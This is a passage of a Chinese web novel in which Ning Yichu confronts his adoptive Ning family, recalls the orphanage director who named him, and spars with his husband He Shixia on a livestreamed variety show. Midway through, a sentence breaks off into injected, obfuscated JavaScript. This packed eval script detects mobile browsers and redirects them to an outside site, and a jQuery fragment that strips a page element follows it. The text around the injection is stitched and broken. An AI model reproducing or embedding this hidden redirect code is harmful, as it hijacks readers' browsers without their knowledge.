其他人也或多或少忍不住看了宁衣初几眼,目光中带上了以前没有过的考量和忌惮。 人很快散了不少,老三宁绍义没走,他看向心情不错的宁衣初:“这就是你今天回来的目的?” 已经被明言要赶出宁家的于涟涟和宁绍礼也都对宁衣初怒目相视,于涟涟的女儿老六宁安秋突然想到一个问题:“你是什么时候知道我哥他身世的?怎么知道的?” 宁衣初莞尔:“我还知道三叔刚在分店搞砸了一个项目,全靠那边的经理不想得罪‘皇亲国戚’给隐瞒善后过去了。” 宁绍义脸色一变。 宁安秋感到不妙,果然宁衣初接着矛头就朝她来了:“对了,六姑姑的慈善基金财务报表最近不太好做吧?假账还是少做比较好。” 原本也想开口的老七宁安冬闭上了嘴。 宁绍礼死猪不怕开水烫地吼道:“你威胁谁呢!有证据吗!你到底从哪里知道这些事的!贺适瑕,是不是你帮他的?你有病吗你帮他,他给你下药毁你婚约逼你结婚的事你忘了?” 贺适瑕皱着眉:“药不是他下的,结婚也不是他逼迫的,还有,是贺家和宁家两家有婚约,定婚约时没有指定过人选,我也从来没答应过要和你们宁家人订婚,这话还请说清楚点,不要挑拨我和阿宁的关系。” 宁绍礼觉得贺适瑕这通话里哪哪都是槽点,干脆下意识挑了个最简单的回:“哟,还‘阿宁’,这是什么莫名其妙的称呼,按姓叫也轮不上‘宁’啊,在宁家过了十几年就真以为自己姓宁了?” 宁衣初莞尔:“这一点倒是说不过你,毕竟就算你出身有问题,也是可以姓宁的。” 宁绍礼咬牙切齿:“要不是你……” “你还管人家,赶紧滚蛋吧,别赖在宁家了。”宁绍义在旁边落井下石。 他们俩因为母亲身份的缘故,本来就从小不对付,宁绍礼一听这话,干脆扑过去和宁绍义扭打起来。 宁衣初慢悠悠站起身,往楼上走。 佣人迟疑不定地问道:“小初少爷你这是要……” “我有些东西还在这家里没带走,这次回来拿走的。”宁衣初说,“劳驾给我找两个能用的行李箱,送到我以前住的房间。” 宁绍义正好一拳头把宁绍礼打趴下了,听到这话抬头看过来,嗤笑了声:“这么快就改姓贺了,东西都不在宁家留了,宁衣初你可真行。” 宁绍礼趁机拽住宁绍义的腿,把他拖倒在地,然后继续扭打。 宁衣初轻啧了声,看了眼客厅里挂着的“宁静致远”牌匾,建议道:“改挂‘家宅不宁’吧,比较适配。” 收拾他留在宁家的东西,其实没花多少时间,因为他过去在宁家的东西本来也不多,前段时间在去贺家之前又特意收拾过,都整齐放在柜子里了,这会儿不用再费心挑整。 只是之前觉得带几大个箱子的东西去贺家,显得他特别迫不及待、做事姿态难看,而且贺家和宁家反正都不是他的家,琐碎的物品放在哪里也都差不多,所以宁衣初先前就只带了一个行李箱,放了点近期会用到或者比较要紧的东西同去贺家。 而他留在宁家的东西,除了少量厚衣服之外,主要就是从小到大上学期间用过的书。 这会儿全都拾掇进行李箱里,宁衣初也没特别细看。 贺适瑕倒是从中精准挑出了几本书来,都是宁衣初小学时期的思政课本,也是他那时候的“日记本”。 宁衣初瞥了眼:“我从小写字就好看。” 贺适瑕莞尔:“字如其人。” 宁衣初:“那你的字肯定很丑。” 贺适瑕顿了顿,然后斟酌着语气说:“据大众评价,我的长相似乎……还行?” 宁衣初语气凉凉:“我小众,还有你心灵丑。” 贺适瑕失笑:“好吧,这个我反驳不了。你的确是世界仅一的特别,我的确道貌岸然。” 宁衣初蹙眉:“能别这么矫情做作吗?” 贺适瑕抱歉道:“真情流露。” 宁家人大概是不想再触霉头,这天直到宁衣初收拾完行李,也再没有人来找宁衣初“聊天”,而今天恰巧不在家的小少爷宁则书也还没有回来。 宁衣初和贺适瑕离开时,楼下只有已经和宁绍礼打完架、但仍然待在客厅没走的宁绍义。 宁衣初表示遗憾:“好久没见到则书了,还怪想他的,那我下次再来找他玩,到时候也会给大家带新的惊喜的,今天这个小惊喜只是开胃菜,往后人人有份,不用不高兴自己被忽视了。” 宁绍义:“……” 回贺家的路上,宁衣初问贺适瑕:“你们上层圈子有什么群吗,把贺家和宁家肃清了血脉的要紧事分享一下,让大家都跟着热闹热闹吧。” 两家各自关着门处理,那多闷啊,当然是要越多人知道越好玩。 贺适瑕略过“你们上层圈子”这几个阴阳怪气的字眼,失笑道:“好,这件事我来办,保证广而告之。” 宁衣初好整以暇地说:“你还是挺好用的。” 贺适瑕颔首:“嗯,你想怎么用都可以。” 宁衣初嗤笑了声。 回到贺家,宁衣初把从宁家拿过来的东西收拾了一番,衣服放到衣帽间里。 衣帽间里有个放饰品的柜子,不过宁衣初没什么饰品,此时那柜子的诸多格子里,只放了一个吊坠,还是宁衣初前两天才放进去的。 那个吊坠是玉质的,玉坠的光滑背面上刻了两个字——“阿宁”。 宁衣初尚在襁褓时就被人弃置在福利院门口,当时这枚玉坠就挂在他脖子上,把他捡回去的福利院院长觉得“阿宁”可能是他的小名,给他取大名时干脆就用了“宁”做姓氏。 “宁衣初”这个名字,是院长给他起的,不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734442|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁家把他从福利院带回去后才给他改的。 姓氏定下后,院长就随手翻书给他取名,翻到某一页然后闭着眼瞎指,指到了“衣不如新,人不如故”这句词。 后来他要跟宁家人走了,告别的时候,院长跟他说起这件事:“我当时觉得,‘人不如故’对福利院的孩子来说,未必不是一种好期盼,或许不是你的父母抛弃的你、你的父母还在找你这个已经丢失的孩子。但‘衣不如新’的代指寓意就不太好了,所以我给你起名‘衣初’。” “阿宁,院长妈妈祝愿你一生所着顺遂、所遇如初。” 那是宁衣初回顾前世二十来年的人生里,遇到过最好的人。可惜,宁衣初大学时期辗转联系上福利院时,才知道院长已经在前几年去世了。 如今,宁衣初已经知晓了原书剧情——虽然确实不是他的亲生父母抛弃了他,但他也仍然连最后一点侥幸的期盼都没有了——这枚代表着他身世的玉坠,他也不再愿意像从前那样贴身戴着了。 但,“宁衣初”这个名字,还有“阿宁”这个小名,是他自己的,是院长妈妈给他起的,他依旧喜欢。 不过,他离开福利院后,就多年没有人再叫他这个小名了,贺适瑕其实是第一个,也是唯一一个又这样叫他的。 这件事,是上辈子他们的婚姻里,难得温情一点的时刻。 那是结婚几个月后,宁衣初挂在脖子上的吊坠绳子断了,他想找条新的红绳系吊坠,被贺适瑕看到了。 贺适瑕看着吊坠上的“阿宁”二字,问他:“这是你的小名吗?” 宁衣初点了点头。 贺适瑕当时没有再说什么,却在接下来自然而然地改了称呼,叫他“阿宁”。 初听到这个久违的称呼时,上辈子的宁衣初怔了好一会儿。 “阿宁,到晚饭时间了,下楼吃饭吗?”这辈子,贺适瑕正好在外面敲了敲卧室房门。 宁衣初收回落在玉坠上的目光,抬脚往外走。 …… 这天宁衣初有些累了,睡得很早。 然后他梦到了贺适瑕。 准确来说,糟心的是,他梦回了跟贺适瑕在酒店发生意外那晚。 药效发作导致记忆不太清楚,他只记得那天晚上他浑身不适地被人推进了房间,刚好和同样意识到身体状况不对劲、又听到开门声所以强撑着走过来查看的贺适瑕撞到了一起。 两个人都身形不稳,摔倒在地,贺适瑕当时好像还喊了一声他的名字。 之后怎么稀里糊涂滚上了床的,宁衣初记忆不清,梦境里也没有呈现,只把氛围营造得极尽暧昧缱绻。 凌晨三点,从梦中醒来,宁衣初看着天花板,心情烦躁。 过了会儿,他起身披上外套,出了卧房,去踢了踢书房的门。 贺适瑕住在书房里,里面的待客沙发不够长,他的腿要么悬空要么只能缩着,总之睡姿并不舒坦,贺适瑕睡得也不熟,听到敲门声就醒了。 他匆匆起身开了门,看到宁衣初站在外面。 半夜从床上爬起来,宁衣初的发丝有些凌乱,此时他眉眼间也有些不耐烦,语气更是明摆着觉得糟心。 没等贺适瑕问,门一开,宁衣初就直接说:“你现在去帮我买东西。” 贺适瑕下意识应道:“好。” 然后才问:“要买什么?” 宁衣初眨了眨眼:“嗯……算是人体细节部位的模型玩具?床上用的那种,我要用。” 贺适瑕顿了顿,阅读理解了一下,说:“我没领会错的话,你是说……” 看到贺适瑕复杂的表情,宁衣初反倒语调轻快起来:“对,要直径大一点的,比较修长的那种‘模型’。” 贺适瑕看着宁衣初漂亮的眉眼,沉默了几秒,然后温声询问:“反正都是人体,不可以直接用我身上的吗?” 宁衣初挑眉:“你想得美。快点去给我买,我现在就要。” 35-40 第36章 第 36 章 跟宁衣初解除收养关系,…… 高考这么敏感的话题, 随着宁衣初的讲述,直播间的观众们,乃至本来没有看直播、但刷到了被传出直播间的网上帖子后的网友们都群情激愤起来。 加上早些时候在午餐餐桌边被曝光出来的宁家人欺凌甚至谋害少时宁衣初的事, 也一起被广泛讨论, 讨伐宁家和贺如林的话语甚嚣尘上。 A市的宁家老宅里—— 宁老爷子看着被投放到电视屏幕上的直播间情况, 气得脸红脖子粗,奈何他已经偏瘫了, 激动起来差点没从沙发上滑下去,完全不能按心意地破口大骂再顺手砸个杯子。 宁则书的亲爹宁绍仁此时没功夫管自己亲爹, 他也气得半死, 怒不可遏道:“小书这是在干什么!他特意上节目就是为了帮宁衣初败坏我们宁家名声的吗!” 宁则书作为全家最受宠的小少爷,他要上节目了, 宁家人当然要聚在一起观看支持。所以不论今天原本有没有其他安排,宁家人都推掉, 然后全部聚在家里看直播。 连之前因为出轨和私生子的事, 一气之下搬回了娘家的韩文华也顺势回来了。 毕竟气归气,她本来就没打算离婚,宁绍仁借此机会亲自去韩家接人、打着一起看小儿子节目的名义,韩文华也就下了台阶, 只是不想显得那么轻易放过了宁绍仁, 所以仍然是对宁绍仁态度不好。 听到宁绍仁责备小儿子, 韩文华不满道:“关小书什么事!分明就是宁衣初那个白眼狼一直在说, 小初能怎么办,学你一样在直播节目上大吵大闹失了体面吗!” 宁绍仁:“他那是阻止不了吗, 他分明是没打算阻止!你没听见他先前收到我的信息后说了什么吗!” 其他宁家人也都在场——除了刚才被爆料除了夫妻私房八卦的老二宁安春和她丈夫王冕,他们俩刚才实在恼羞成怒,索性愤然离席了, 已经不在客厅里了——闻言跟着开口。 柳双拱火道:“可不是吗,我看小书就是故意的,他甚至不只是附和小初的话、坐实对宁家不好的丑闻,还故意挑起话题。” “比如刚才好端端突然提起什么小时候鬼屋的事,刚才又非要说小初的专业和贺如林的事,他要是不主动递话题,宁衣初也没法顺理成章地说出这些话来。毕竟他自己突然开始说、没人搭腔的话,显得很射箭画靶嘛,太刻意了反倒让人听不进去。” 陆溪也说:“现在观众这么激动,弹幕里全是骂宁家不做人的,他们能这么共情小初,还多亏了小书的努力呢……不过鬼屋能说成是闹着玩,推人下楼能说是不小心的,高考志愿那事儿就不好说了,绍仁你们当年的确过分了点。” “装什么大尾巴狼呢。”宁绍仁回道,又看了眼弹幕上刷刷而过的讨伐之词,他对宁安夏说,“你现在就去联系人,把小书给我叫回来!不许他再录节目了,简直是丢人现眼!” 宁安夏也一脸严肃:“大哥你说的倒是轻松,哪有那么容易,我之前特意联系人把小书塞进去,现在又要联系人家把小书弄下来,我以后在圈子里还怎么混了。” 宁绍仁冷笑:“还混呢,再让小书和宁衣初发挥下去,我们宁家以后在圈子里都不用混了!” 宁安夏说的是娱乐圈,宁绍仁说的是豪门圈,反正成圈的氛围都大差不差。 “不。”宁绍仁又突然自己改口,“让小书离开了节目也没用,宁衣初还在,就算没了小书莫名其妙地递话题,他也一定会想办法继续败坏我们宁家的名声,尤其是他身边还有个纵着他的贺适瑕……直接把这档节目叫停!损失我们宁家承担就是了,不许再录了!” 宁安夏无言以对:“大哥你能不能靠点谱,你以为这是我们在自家酒店办的活动吗,说叫停就叫停,我要有那人脉那能耐,我的夏至娱乐还能那么半死不活?真以为全天下都是宁家的地盘了……” 宁绍仁恼怒:“你还挺会长别人威风!你是觉得宁家的名声跟你无关是吧,这么多年你没打骂过宁衣初吗!这么事不关己,你还挺悠闲!” “我也气啊,但你气归气,对我这么颐指气使的干什么,我也确实做不了更多啊,家里又没给我那么多支持,我现在去联系别人,不是风口浪尖上反让人家看笑话吗!”宁安夏摊了摊手。 她同父同母的亲哥宁绍义沉着脸说:“虽然我也不想再让宁衣初在节目里那么‘发挥’了,但是大哥,你有功夫安排夏夏,不如吩咐别人去做吧,别为难夏夏。” 宁绍仁难以置信:“什么叫我为难她?家里就她一个娱乐圈的,出了事难道不该齐心协力,最熟悉那个圈子的人做主力吗,她要是需要什么额外的助力跟家里说就是了,但她一个劲儿推三阻四算什么!” 宁绍义和宁安夏的生母柳双跟着开口:“既然绍仁你也知道只有夏夏是娱乐圈的,家里她最了解那个圈子,那就相信她说的呗。这么大规模大曝光的直播节目,哪有那么轻松能叫停,这和你们之前总让别的公司不许录用宁衣初,可不是一个难度吧。” 也已经在爆料中被指名道姓的宁安冬咬了咬牙:“但总归就是一个节目而已,就算要花点时间协调,也比什么都不做、放任宁衣初继续录完十五天好吧。” 宁安秋马上接道:“五姐姐,你可想清楚了,要是小书继续这么配合宁衣初爆料下去,回头扯出更多事情来,你和宁家的名声彻底臭了,你那个陆愿姝小姐,会不会更排斥你了……” 提起陆愿姝,宁安夏皱了皱眉,才松口道:“叫停节目真别想了,不是说我们家没这能耐,而是你们是不是忘了,宁衣初手里握着贺氏百分之十三的巨额股份,贺适瑕是贺家当家人的独子,他们也出力不让节目停办的话,你们猜节目组更偏向那方?” 韩文华若有所思:“这样下去,贺家说不定也要被宁衣初当众扯出来……不如去贺家一趟,跟贺维安聊聊,说不定她愿意一起叫停节目,届时宁衣初和贺适瑕还斗得过她不成?” 宁安夏点头:“可以,另外我再搞点公关手段……宁衣初自己身上又不是没黑料,他忘了他是怎么靠坑蒙拐骗进的宁家,又是怎么赖在宁家不走的了?这件事曝光出去,好歹也能让他形象崩塌一点,他现在完全是个完美受害人,对我们宁家挽回颜面没好处。” 说起这件陈年往事,宁绍仁和韩文华夫妻俩都欲言又止了下,然后还是没说什么,点头同意了宁安夏的说法。 宁绍仁又想起来:“还有,他不是怀孕了吗,我看他也是知道一个男的怀孕了有多丢脸,他和贺适瑕上了节目都没提这事儿,都帮他曝光了算了,也算是礼尚往来。” 陆溪叹了声气:“你们可一定要扳回局面啊,我本来嫁给老头子出门社交的时候就很受非议了,宁家要是名声公然坏掉了,我以后出去怎么见人,我都担心人家不敢跟我交好了。” 自打在贺家宴会上揭开了陆溪嫁给宁老爷子的真实原委后,陆溪也不装了,现在就是一个特别坦荡的态度,偏偏宁老爷子还偏瘫了,连发火都做不到,也没法表达下离婚的诉求。 宁绍仁不满地看着这个小妈:“你把我爸照顾好就行了。” 陆溪耸了耸肩:“你爸有保姆护工医生照顾,要我这个非专业的干嘛。” 宁绍仁:“你……好啊你,你现在是半点都不掩饰了是吧!” 陆溪指了指电视屏幕:“这不挺好的吗,都不装了,宁衣初肆无忌惮想说什么就说什么,宁则书也不装乖宝宝了,大家都敞亮点。” 其他人沉默了下。 宁则书在节目上直接说他不装了这几个字,在场其他人自然也都听见了的,但刚才都有意无意故意没深究这几个字代表的意思。 就算宁绍仁责备宁则书当下在节目上的做法,也没有专门点出一句“小书以前居然都是在装乖吗”……直到现在被陆溪直言戳穿了,其他人也不知道怎么接话了。 这时,刚才一直沉默着没有发表意见的宁则棋开了口:“只要爸妈和宁衣初还有收养关系,那不论我们对外怎么说他品性不佳,即便如今他已经和贺适瑕结了婚,别人眼里他也都还算宁家人。有这么一个‘藏不住事’、‘心直口快’的宁家人在,别家以后还敢跟我们来往密切吗?” 不论什么圈子,想要长久维系下去,多少都要拿“秘密”交换,而说出秘密的人可不是为了让你宣扬,而是要让你拿保密的态度和自身的秘密作为“回礼”的。 一旦人家知道自己的秘密很有可能被泄漏出去,那还怎么敢跟你分享? 宁绍仁神色严峻:“则棋,你想说什么?” 宁则棋道:“还是我以前就说过的那个提议,跟宁衣初解除收养关系,让他彻底不再是我们宁家人。你们以前总不同意,说是怕赶宁衣初走了被人说闲话,也怕宁衣初光脚的不怕穿鞋的、自己在外面说宁家的闲话。那事到如今了,把他赶出去才算是我们宁家的表态,还不能解除收养关系吗?” 出乎宁则棋和在场其他人意料,宁绍仁和韩文华居然异口同声地坚持:“不能。” 就好像这对夫妻对他们的养子宁衣初颇有感情、十分不舍似的。 宁则棋自然知道这里面没有感情的事,他皱着眉:“爸,妈,我之前就怀疑你们那些借口只是托词,如今看来果然是。你们到底为什么,这么坚持把宁衣初留在你们名下?” 宁绍仁和韩文华支吾了下,没有回答。 宁绍仁说:“行了,这些陈芝麻烂谷子的事别说了,当务之急还是这个节目,真是的,宁衣初在大庭广众把自己说得那么可怜,不觉得害臊吗!” 宁家之外,豪门圈子也有正聚在一起的人在议论这些事,说来说去最后确定了结论—— 宁衣初此人消息灵通得诡异,被宁家搓磨得太过,如今终于可以有冤报冤有仇报仇了便完全不愿收敛,还有贺氏股份作为底气,惹不得,以后看到了小心客气点,也别再顺着宁家的口风说话了,以前说过宁衣初坏话的都老实点藏好,免得他一眼看过来突然想起你有什么八卦可以拿出来聊聊……话说宁家和贺家的乐子是挺好看的哈。 …… 贺如林人在公司,刚结束了一场漫长的季度会议,回到办公室,打开手机检查未读消息,就发现不少人给他发了些网页链接,还有人直接问他看没看宁衣初和贺适瑕那个节目。 点了几个链接看了看里面的吃瓜贴、直播录屏等等,贺如林就大致知道是发生什么事了。 他也打开了节目直播,看着里面宁衣初的脸,回忆起了当年的事。 当年,其实在宁衣初拦下他的车之前,他就已经注意到了路边有些狼狈可怜的宁衣初。 他那个时候的确存了戏耍的心思,因为觉得宁衣初着急的样子挺好玩的。但也确实没打算耍到底,本来觉得敲几下手机键盘再点个提交的事,五分钟就够了,但他忘了自己出于习惯,把手机系统的时间调慢了十分钟,结果耽误了宁衣初改志愿的事。 贺如林还记得,当时宁衣初拿着他的手机,坐在副驾驶座,脸色苍白得要命。 他本来以为宁衣初会对他喊打喊杀,但宁衣初听了他关于手机调慢了十分钟、不是故意坏事的解释后,只是很平静地问他:“现在可以开车门让我下车了吗?” 贺如林开了车门,看到宁衣初攥着他的手机下了车,然后扶着车门略微回身。 那一回身,贺如林才看清宁衣初眼睛里浸了水雾。 他从宁家二楼跳到花园里,身上的衣服沾了泥土和没顾得上摘除的草叶,脚踝也伤到了,所以下车和站立的姿势都有些不寻常,就那么虚弱、眼泪要落不落地看向他,贺如林当时就愣住了。 然后,宁衣初突然把他的手机狠狠往马路地面上一砸。 贺如林又愣了愣,听到宁衣初语气还是很平静地说:“手滑了,不好意思,你自己回头找宁家赔钱吧,反正我赔不起。” 然后宁衣初就一瘸一拐地继续往路边走了。 贺如林下了车,把已经被分尸的手机碎片捡起来,去追宁衣初:“你这气性还挺大,但我真的不是故意害你错过时间的,现在我手机也被你砸了,要不就不生气了?我看宁家给你报的也是A大嘛,虽然只填了一个志愿,对别人来说可能不太保险,但我听绍义说你是今年的理科状元,那肯定是能被录取的,没什么问题啊,还是说你不想报A大?” 宁衣初被气笑了,没理他。 贺如林就继续说:“要不就是不想学美术?美术跟你气质挺搭的,相信我,反正就是个专业而已,你毕竟是宁家养子,还用得着操心选一个方便就业的专业不成?再说了美术不方便就业吗,我觉得还挺好的,我大姐也是学美术的,出国进修了几年,回来后开了个画廊,弄得还挺像样的,你可以参考一下?” “哎,刚才好话一箩筐,现在理都不理我,真是变脸快得很。你这方向,是打算回宁家了吧,那我开车送你呗,你这脚走路多不方便,我本来也是要去宁家的。” 当时说的话,现在回忆起来,贺如林也觉得确实挺不像个人,难怪那天宁衣初再也不肯理他。 高考志愿的事之后,贺如林后来也在A大美术学院见过宁衣初——那是两年多以后的事了,当时宁衣初已经进入大三。 贺如雪的画廊和A大美院有一场公益性质的活动合作,会拿学生们的绘画作品放到贺如雪的画廊展览以及无声拍卖,所得钱款均捐献出去做慈善。 为了表示看重,贺如雪本来打算亲自带人去A大美院拿画,但当天临时有事实在分身乏术,又早就跟美院那边联系好了、院长都要亲自迎接,也不好随便派个人替代。于是贺如雪问了一圈家里人,发现贺如林正好有空在家,就让他帮忙跑一趟。 贺如林还记得,那几天贺适瑕刚拍完一部戏、正好人也回了老宅。 他出门的时候看到贺适瑕在楼下,就随口说了句:“我去A大美院帮大姐搬一批画。宁家那个养子也在那儿,不知道遇到了之后会不会还想杀了我……” 贺适瑕听到了,居然难得追问了下:“宁家那个养子?你怎么得罪他了?” 贺如林没好意思说高考志愿的恩怨,干脆反问:“你在家也没事,要不要一起去当苦力?” 他当时只是不想回答贺适瑕的问题,所以随口那么一问,其实并不觉得贺适瑕会答应,毕竟贺适瑕作为明星不方便随便出现在公开场合。 但出乎贺如林当时的意料,贺适瑕略微思索了下,然后居然答应了——如今回想起来,贺如林合理怀疑,其实贺适瑕就是听到宁衣初也在A大美院,所以才答应一起去的。 而他们那次的确在美院见到了宁衣初。 美院要给画廊的画放置在大画室里,宁衣初当时正好在画室一角画画。 阳光,白色的画室,五彩的颜料,还有坐在画板前心无旁骛的精致玉人…… 贺如林当时下意识就想过去打招呼,被贺适瑕拦住了,所以那天他们虽然看到了宁衣初,但宁衣初大概不知道他们去过。 那天把美院学生们的画作搬上车之后,贺如林在里面翻了翻,居然真翻到了一幅署名宁衣初的,于是他把画昧了下来,没送到贺如雪的画廊里。 但他在贺如雪的画廊里帮忙忙活了一通之后,就发现车子里找不到宁衣初那幅画了。 他当时也没怀疑,只以为是自己忙中出错,还是把那幅画送进了画廊,那也就不方便再要了,不然显得他对宁家那个养子多在意似的,此事就此作罢。 但如今回想起来……贺如林看着节目直播画面里的宁衣初和贺适瑕,合理怀疑当初是贺适瑕不动声色把画拿走了。 “果然都是贺家长大的,一样偷偷摸摸啊。”贺如林轻啧了声。 …… 节目仍然在直播。 宁衣初讲述完高考志愿、宁家和贺如林的事之后,宁则书没再作声,Alien的纪天风和郑谷再想找他茬,也不方便拿这种事继续冷嘲热讽,于是也都偃旗息鼓。 国民夫妻的任世和秦暮云两人,还有Make女团的章可久和崔允,当着节目直播不方便太同仇敌忾地讨伐宁家和贺如林,但也特别开口安慰了一下。 到海边的游戏点之后,节目组让嘉宾们确定分组情况。 国民夫妻俩自然一组,章可久和崔允也是固定一组,宁衣初虽然也不怎么待见贺适瑕,但相比之下还是宁愿和他一组。 至于剩下四个人,宁则书看向沈周:“我们俩一组吧,反正小初不选我,你应该也不乐意跟会想要揍你的队友一组吧?” 沈周沉默地点了点头。 于是剩下的纪天风和郑谷一组了。 高考志愿这件事的余温没过,不方便挖苦宁衣初,郑谷就怼刚说了这话的宁则书:“你和沈周都脸皮厚又会装,一组确实挺好的,话说你们宁家还挺会养孩子的嘛,一个你一个宁衣初都性格古怪得要死。” 宁则书笑了笑:“郑谷老师挺谦虚,我们宁家哪有你们郑家会养孩子啊。” 他语气格外嘲讽,偏偏脸上又带着笑,于是阴阳怪气味十足,给郑谷气得又要跳脚,导演看得头疼,连忙宣告游戏开始。 在沙滩上画画,和在画纸上、数位板上、电子屏幕上画画,虽然手感有差别,但适应了倒也没太大差异,而宁衣初很擅长“适应”这件事。 游戏过程中,轮到他画画时,宁衣初都会想起在美院的日子。 他刚进入美院时,心态很矛盾,既心生排斥,又觉得不能学不好、不能让人尤其是宁家人看笑话,所以一边反感一边努力钻研。 幸好他似乎还有点天分,加上持之以恒的努力,后来居然也画得还不错了。 宁衣初记得,他第一次对自己的画满意,已经是进入大三的事了,而他第一次满意的那幅画,被老师询问是否可以送去参加学院联合画廊举办的公益活动。 他当时同意了,后来也没关注过画的去向。 直到……上辈子跟贺适瑕结婚后,有一次他意外进入贺适瑕的书房,在里面看到了他那幅画。 宁衣初当时就有点好奇,为什么他那幅画会出现在贺适瑕手里,但上辈子没问。 这辈子,之前没想起来,现在突然想起来了,宁衣初就在海风中直接问了:“对了,贺适瑕,你书房里我那幅画,你当初是花多少钱买到的?” 闻言,贺适瑕微微一顿,在周遭打探的目光中,他看着宁衣初的眼睛,实话实说道:“嗯……我采取了一种比较特别的方式获得的,简而言之可以称之为……‘零元购’?” 第37章 第 37 章 宁家真的是误认才把你带…… 贺适瑕的这个回答, 让吃瓜的人都感到挺迷惑,直播间弹幕里讨论纷纷—— 【零元购?是我知道的那个零元购的意思吗?】 【哈哈哈哈以前怎么没发现贺影帝说话其实蛮搞笑的】 【我也,一直以为他是个特正经那种性格】 【阿宁这个性格, 贺适瑕要是还板正端着, 那完蛋了别想追到老婆了】 【虽然有合法证件了但还是得追老婆哈哈哈哈贺影帝我同情你的真的哈哈哈哈】 【上面的朋友笑得太大声了】 【没人觉得很有宿命感吗, 贺适瑕手里居然有宁衣初的画啊,而且听起来应该是宁衣初不知情的情况下被贺适瑕拿到的】 【嗯……如果是双方都不知情的正常情况下, 贺适瑕买到了一幅没署名、事后才知道原来是宁衣初的画,宁衣初不知道自己画作的买家、直到许久后在丈夫书房里看到, 那确实蛮有宿命感的, 然而贺适瑕自己承认他是零元购的……】 【不行了哈哈哈哈看起来阿宁也是被无语到了】 宁衣初:“……‘零元购’什么意思,你抢的?还是你偷的?” 贺适瑕跟捧哏似的回答:“我偷偷地抢的。” 宁衣初木然。 周遭其他吃瓜人士竖起了耳朵。 说完了, 贺适瑕自己也忍俊不禁:“虽然听起来像是回答来讨打的,但我说的其实是实话……你大三那年, 你们学院不是和一家画廊有次公益活动的合作吗, 正好就是和……大姐那家画廊。” 贺适瑕略微一顿,收敛了笑意,又才接着说:“涉及到一个你讨厌的人……当时大姐托了贺如林帮忙去你们学院拿画,我也一起去了。” 听到贺如林的名字, 宁衣初没什么表情。 贺适瑕:“之后, 我看到贺如林偷偷摸摸从一堆画里单独拿出来了一幅出来, 没有送到画廊里去, 我就看了下,发现果然那幅画署名是你, 所以我就……” 宁衣初表情复杂起来:“所以你就截胡了?” 贺适瑕莞尔:“‘截胡’这个说法,听起来好像比‘偷偷抢走’要正当一点,那我以后就这样说了。” 宁衣初:“……” 【笑死我了哈哈哈哈居然真的是“偷偷地抢走”, 从贺老三手里抢的】 【所以先前有一次贺哥被拍到出入A大,原来是因为这件事吗,当时还有人在猜是不是拍戏之类的,但也没别的线索】 【这种事用不着贺适瑕这个大明星也一起去吧,合理怀疑是贺适瑕知道宁衣初在美院,主动想去的】 【他要是真的多主动点,我估计他和宁衣初不至于是现在这局面】 【虽然形象有点崩塌,但贺影帝好像更有活人气息了哈哈哈】 贺适瑕又想了想,试图挽回自己在宁衣初眼里的形象:“虽然获得方式是比较鬼鬼祟祟,但你们那个活动最终款项走向不是要做慈善吗,我拿了你的画,还是捐了钱的,捐款人填的就是你的名字,需要我把捐款记录翻出来给你检查一下吗?” 【很好,做事周全,虽然偷偷摸摸,但形象回来了,嫂子你就看看贺哥吧!他很努力的!】 【他很努力的这种推销说辞放在娱乐圈里显得很无力啊哈哈哈哈,就像相亲的时候没优点可说,只能憋出来一句“他很老实”……】 【贺影帝似乎不咋老实】 宁衣初对捐款记录不感兴趣,手指在沙滩上点了点,催促他继续完成“你画我猜”的游戏:“快点猜,别耽误下一轮。” 贺适瑕笑了笑:“耽误不了,多亏了阿宁你的画功,画什么都简单但精准,很好猜,我们得分挺多的。” 【对!就这样多夸夸老婆,没有人不喜欢夸奖!】 【不过宁衣初好像不咋吃这招啊】 【贺影帝继续加油吧,幸好你们至少有证,不用担心宁衣初和别人在一起了哈哈哈哈】 “你画我猜”游戏进行到下午四点,然后节目组结算了各组的最终得分,进行了一个排名。 宁衣初和贺适瑕虽然中途说话耽误了一会儿,但也没影响最终得分排名第一,何况他俩说话的时候其他嘉宾那几组其实也在听八卦、效率没比他们高多少。 回到餐饮点,嘉宾们进入了充作集体厨房用的房子室内,然后开始挑选食材。 纪天风和郑谷两人那组,画功就是普通人水平,本身默契点就不够、游戏期间还老忍不住互相挤兑,最终得分排名倒数第一,也就落到了要最后选食材的境地。 他俩来到食材前一看,郑谷就直接说了:“这是节目组太小气,还是节目组故意的,就准备这么一点食材,要是前面不限量的话,我们后面都没得选了吧!” 导演一脸模式化的抱歉:“不限量的,所以郑老师的话没错,如果第一组的两位老师把所有食材都拿走了,那剩下几组的老师就只能全体饿肚子……或者自行到外面尝试寻找食材了。” 纪天风瞪大了眼睛:“真这么玩啊!” 导演又补充道:“不过,前面的嘉宾不论拿走了多少食材,最后都必须在这顿饭里吃掉,不能浪费、有剩余,不然的话下一顿饭就直接作为最后一组挑选食材。” 然而节目组当真没准备足量的食材,导演这话并不能让靠后的嘉宾安心。 排在最前面的贺适瑕和宁衣初没打算特意多拿,但也没打算为表善良就拿少于他们食量的份量。 结果就是,由于节目组的特意安排,他们正常挑完食材后,就只剩下三分之二的份量了。 排在最后的纪天风和郑谷已经脸色不好了,虽然只是一顿饭的事,但连一顿饭都没法好好吃,今天攒了不少怨气火气的两人又互相冷嘲热讽起来。 前面另外三组嘉宾,就在纪天风和郑谷的吵吵声中继续挑选自己要吃的食材。 【你们别吵了,再吵下去我都要嗑你俩了】 【呃,别什么都嗑啊……】 【玩笑,玩笑,当然不至于眼光低到那个地步,就是想表达一下他俩吵架的频率太高了】 【让他们饿肚子谢谢】 【话说真的不能让他们离开节目吗,还要继续录下去吗?我觉得有的事都有点超过了吧……】 【就录节目期间的一顿饭而已,当众又吵起来,至于吗……】 【满打满算也不到七十二个小时就要走了,说极端点这期间不吃饭都饿不死吧,而且节目组也不可能真的不让嘉宾一直不吃饭,哪怕饿这一顿又怎么了,他们搞得好不体面】 【反正也没什么形象可言了,不如多折腾一点博取点话题吧,比如现在我们不就在聊他们吗】 